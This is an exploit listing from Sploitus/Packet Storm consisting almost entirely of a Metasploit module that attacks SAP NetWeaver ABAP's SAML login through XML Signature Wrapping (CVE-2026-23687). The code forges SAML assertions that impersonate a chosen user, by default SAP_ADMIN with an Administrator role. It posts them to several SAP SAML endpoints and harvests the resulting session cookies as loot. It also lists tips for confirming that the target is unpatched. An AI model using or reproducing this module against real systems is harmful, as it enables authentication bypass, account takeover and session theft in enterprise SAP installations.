Share
## https://sploitus.com/exploit?id=PACKETSTORM:225174
==================================================================================================================================
| # Title : SAP NetWeaver ABAP SAML XML Signature Wrapping Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.sap.com/ |
==================================================================================================================================
[+] Summary : a SAML authentication bypass vulnerability in SAP NetWeaver ABAP (SAP_BASIS versions 700โ918).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Auth::SAML
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP NetWeaver ABAP SAML XML Signature Wrapping',
'Description' => %q{
This module exploits a vulnerability in SAP NetWeaver ABAP's SAML Service Provider
implementation (CVE-2026-23687). The vulnerability allows an attacker to bypass
SAML signature verification through XML Signature wrapping attacks.
By crafting a SAML response with a wrapped signature using <Object> tags, an
attacker can manipulate the SAML assertion data while maintaining a valid
cryptographic signature. This allows authentication as arbitrary users with
SAML mapping enabled.
Affects SAP_BASIS versions 700 through 918.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-23687'],
['URL', 'https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-004.txt'],
['URL', 'https://github.com/CompassSecurity/SAMLRaider'],
['URL', 'https://www.w3.org/TR/xmldsig-core1/#sec-Object'],
['SAP', '3697567']
],
'DisclosureDate' => '2026-06-08',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))
register_options([
OptString.new('TARGET_URL', [true, 'SAP NetWeaver target URL', 'https://sap.example.com']),
OptString.new('SAML_IDP_URL', [true, 'SAML Identity Provider URL', 'https://idp.example.com/saml']),
OptString.new('TARGET_USER', [true, 'Target user to impersonate', 'SAP_ADMIN']),
OptString.new('ORIGINAL_SAML_RESPONSE', [true, 'Valid SAML response from legitimate user', nil]),
OptString.new('SP_ENTITY_ID', [true, 'Service Provider Entity ID', 'sap.example.com']),
OptString.new('IDP_ENTITY_ID', [true, 'Identity Provider Entity ID', 'idp.example.com']),
OptInt.new('MAX_ATTEMPTS', [false, 'Maximum authentication attempts', 5]),
OptBool.new('USE_ENCRYPTION', [false, 'SAML response encryption enabled', false])
])
register_advanced_options([
OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 30]),
OptBool.new('VERIFY_CERT', [false, 'Verify SSL certificate', false]),
OptString.new('PROXY', [false, 'HTTP proxy', nil])
])
end
def create_wrapped_saml_response(original_response, target_user)
print_status("Creating wrapped SAML response for user: #{target_user}")
begin
doc = Nokogiri::XML(original_response)
doc.remove_namespaces!
rescue => e
print_error("Failed to parse SAML response: #{e.message}")
return nil
end
signature = doc.at_xpath('//Signature')
assertion = doc.at_xpath('//Assertion')
if signature.nil? || assertion.nil?
print_error("Could not find Signature or Assertion in SAML response")
return nil
end
wrapped_saml = <<~XML
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="#{generate_saml_id}"
Version="2.0"
IssueInstant="#{Time.now.utc.iso8601}"
Destination="#{datastore['TARGET_URL']}">
<saml:Issuer>#{datastore['IDP_ENTITY_ID']}</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="#{assertion['ID'] || generate_saml_id}">
#{signature.to_xml}
<Object>
#{assertion.to_xml}
</Object>
<Subject>
<saml:NameID>#{target_user}</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="#{(Time.now + 3600).utc.iso8601}"
Recipient="#{datastore['TARGET_URL']}"/>
</saml:SubjectConfirmation>
</Subject>
<AttributeStatement>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name">
<saml:AttributeValue>#{target_user}</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress">
<saml:AttributeValue>#{target_user}@sap.example.com</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/role">
<saml:AttributeValue>Administrator</saml:AttributeValue>
</saml:Attribute>
</AttributeStatement>
</saml:Assertion>
</samlp:Response>
XML
encoded_response = Rex::Text.encode_base64(wrapped_saml)
print_status("Wrapped SAML response created (#{encoded_response.length} bytes)")
return encoded_response
end
def send_saml_assertion(saml_response)
print_status("Sending crafted SAML assertion to SAP NetWeaver")
saml_endpoints = [
'/sap/bc/sec/saml2',
'/sap/bc/sec/saml2/callback',
'/sap/bc/sec/saml2/sso',
'/sap/public/sec/saml2',
'/sap/bc/webdynpro/saml2'
]
endpoints_to_try = saml_endpoints
if datastore['TARGET_URL'].include?('/sap/')
endpoints_to_try = [URI(datastore['TARGET_URL']).path]
end
endpoints_to_try.each do |endpoint|
uri = normalize_uri(endpoint)
post_data = {
'SAMLResponse' => saml_response,
'RelayState' => generate_relay_state
}
print_status("Trying endpoint: #{uri}")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => post_data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded'
}
}, datastore['TIMEOUT'])
if res
print_status("Response status: #{res.code}")
if successful_authentication?(res)
print_good("Successfully authenticated as #{datastore['TARGET_USER']}!")
extract_session_info(res)
return true
elsif res.code == 302
print_status("Redirect received - might indicate partial success")
check_redirect_location(res)
elsif res.code == 200
if res.body.include?('SAP NetWeaver') || res.body.include?('sap-system')
print_status("SAP response received, checking for access...")
if check_sap_access(res)
print_good("Access granted! Session established.")
return true
end
end
else
print_status("Unexpected response: #{res.code}")
end
else
print_error("No response from endpoint: #{endpoint}")
end
rescue ::Rex::ConnectionError => e
print_error("Connection error: #{e.message}")
rescue => e
print_error("Error: #{e.message}")
end
end
return false
end
def successful_authentication?(response)
success_indicators = [
'sap-system',
'SAP Session',
'MYSAPSSO2',
'sap-usercontext',
'sap-login',
'welcome',
'dashboard'
]
if response.get_cookies
cookies = response.get_cookies
if cookies.include?('MYSAPSSO2') || cookies.include?('SAP_SESSIONID')
print_good("Found SAP session cookies")
return true
end
end
if response.body
success_indicators.each do |indicator|
if response.body.downcase.include?(indicator.downcase)
print_good("Found indicator: #{indicator}")
return true
end
end
end
return false
end
def extract_session_info(response)
session_info = {
'cookies' => response.get_cookies,
'headers' => response.headers
}
path = store_loot(
'sap.saml.session',
'text/plain',
rhost,
session_info.to_json,
'sap_saml_session.txt',
'SAP SAML session information'
)
print_good("Session information saved to: #{path}")
if response.get_cookies =~ /MYSAPSSO2=([^;]+)/
print_good("MYSAPSSO2 Cookie: #{$1}")
end
if response.get_cookies =~ /SAP_SESSIONID[^=]*=([^;]+)/
print_good("SAP Session ID: #{$1}")
end
end
def check_redirect_location(response)
if response.headers['Location']
location = response.headers['Location']
print_status("Redirect to: #{location}")
if location.include?('sap') && !location.include?('error')
print_good("Redirect appears successful")
end
end
end
def check_sap_access(response)
test_paths = [
'/sap/bc/gui/sap/its/webgui',
'/sap/bc/webdynpro/sap',
'/sap/bc/ui2/flp'
]
test_paths.each do |path|
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => path,
'cookie' => response.get_cookies
}, datastore['TIMEOUT'])
if res && res.code == 200
print_good("Access granted to #{path}")
return true
end
rescue
next
end
end
return false
end
def generate_saml_id
"_#{Rex::Text.rand_text_alphanumeric(32)}"
end
def generate_relay_state
Rex::Text.rand_text_alphanumeric(16)
end
def load_original_saml_response
original_response = datastore['ORIGINAL_SAML_RESPONSE']
if original_response.nil? || original_response.empty?
print_error("ORIGINAL_SAML_RESPONSE is required")
return nil
end
if File.exist?(original_response)
print_status("Loading SAML response from file: #{original_response}")
return File.read(original_response)
end
begin
decoded = Rex::Text.decode_base64(original_response)
if decoded && decoded.include?('saml')
print_status("Decoded base64 SAML response")
return decoded
end
rescue
end
return original_response
end
def run
print_status("Starting SAP NetWeaver SAML XML Signature Wrapping exploit")
print_status("CVE-2026-23687 - SAP_BASIS 700-918")
original_response = load_original_saml_response
if original_response.nil?
print_error("Failed to load original SAML response")
return
end
(1..datastore['MAX_ATTEMPTS']).each do |attempt|
print_status("Attempt #{attempt}/#{datastore['MAX_ATTEMPTS']}")
wrapped_response = create_wrapped_saml_response(original_response, datastore['TARGET_USER'])
if wrapped_response.nil?
print_error("Failed to create wrapped SAML response")
next
end
if send_saml_assertion(wrapped_response)
print_good("Exploit successful! Impersonated user: #{datastore['TARGET_USER']}")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "SAP NetWeaver SAML XML Signature Wrapping vulnerability allows user impersonation",
:data => "Target user: #{datastore['TARGET_USER']}"
})
return
end
sleep(2) if attempt < datastore['MAX_ATTEMPTS']
end
print_error("Exploit failed after #{datastore['MAX_ATTEMPTS']} attempts")
print_status("Troubleshooting tips:")
print_status("1. Verify the original SAML response is valid")
print_status("2. Check if SAP_BASIS version is affected (700-918)")
print_status("3. Ensure patch SAP Note 3697567 is not applied")
print_status("4. Try different SAML endpoints")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================